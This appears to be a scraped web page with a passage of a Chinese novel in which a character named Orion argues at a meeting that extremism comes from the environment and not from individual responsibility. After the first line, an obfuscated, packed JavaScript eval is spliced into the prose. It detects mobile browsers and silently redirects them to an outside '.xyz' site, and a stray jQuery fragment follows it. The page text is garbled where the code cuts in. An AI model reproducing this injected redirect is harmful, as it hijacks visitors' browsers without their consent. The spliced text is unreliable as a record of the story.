问题的本质难道就不包括个体的责任吗？无论怎么样都不能忽视，的确有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629235|131817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人在极端的环境下依然坚守正直善良。”
奥瑞恩反问：“然后呢？除了让你得出有少数人在极端的情况下依然会善良的结论，这对问题的解决有什么实质帮助？在一个被扭曲价值观充斥的环境中，少数清醒者无法阻止恶劣的环境对多数人的影响。这种清醒是偶然的、特例化的，无法产生实质的改变。大环境依旧是问题的根源，只要环境不变，恶性循环会持续。”
加瑟恩外交官怒不可遏：“你一点都不尊重个体的坚守和选择，纯粹的是悲观论调，把一切归咎于环境！”
奥瑞恩冷哼一声：“个体坚守当然值得尊重，但这种坚守并不能成为解决问题的关键路径。恶劣环境中，绝大部分人会被塑造成环境的产物，真正的问题是如何让恶劣环境不再产生，而不是指望个体在这种环境中独善其身。你拿你的经历，去评判那些生活在极端环境下的人，你这种人根本就不可能解决任何问题，只会制造更多的问题。”
奥瑞恩语气十分激烈，继续说道：“这场会议的重心已经偏离了，你们根本就不是在解决问题，而是在避重就轻。重点应该放在打击极端组织、消除极端思想传播的土壤，帮助那些地区重建稳定和平的社会秩序，以此来避免更多人被卷入到可怕的极端主义中，从根源上杜绝类似悲剧的发生，而不是去强调个体在这种极端环境里该承担什么责任，或者让斯特人撤退。你到底还想留着这种环境，制造多少恐怖分子？”
这时，有人帮加瑟恩外交官搭腔：“难道正义和善良就不重要吗？就算这个大环境解决了，他们也要正义和善良才能继续持续下去，否则还会变回那个恶劣的大环境。”
奥瑞恩立刻回答：“首先要解决恶劣的大环境，人们才有更多的可能性，你不能指望在这种恶劣的大环境之中，人们突然就变得正直善良。在这种环境下，就算他们有一天真的反抗，也不是因为良心发现，而是因为仇恨的反噬，用更极端的暴力手段，建立更残酷的秩序！”
对方：“你……”
奥瑞恩打断了对方的话，“够了，我在跟你谈实际，你们却在跟我空谈抽象的理想，从空洞的道德高地发起攻击。就算你的观点百分百正确，但是在不合时宜的情况下，也毫无意义，甚至会助纣为虐！被统治者利用来压迫自己的人民，最后全都归咎于人民自己的责任，来掩盖这个制度本身的不合理和残酷剥削！真正压迫古达人的，是那些极端分子，睁大你们眼睛看清楚德斯曼跟尤玛拉的区别！这就是同一个民族，在不同环境下的结果，给你们最直观的答案！”
加瑟恩外交官讽刺道：“看来你本身就是一个喜欢推卸责任的人，把一切的原因都归咎于环境，在忽略个体责任。”
“忽略个体责任？”奥瑞恩掷地有声，“你指望着那群恐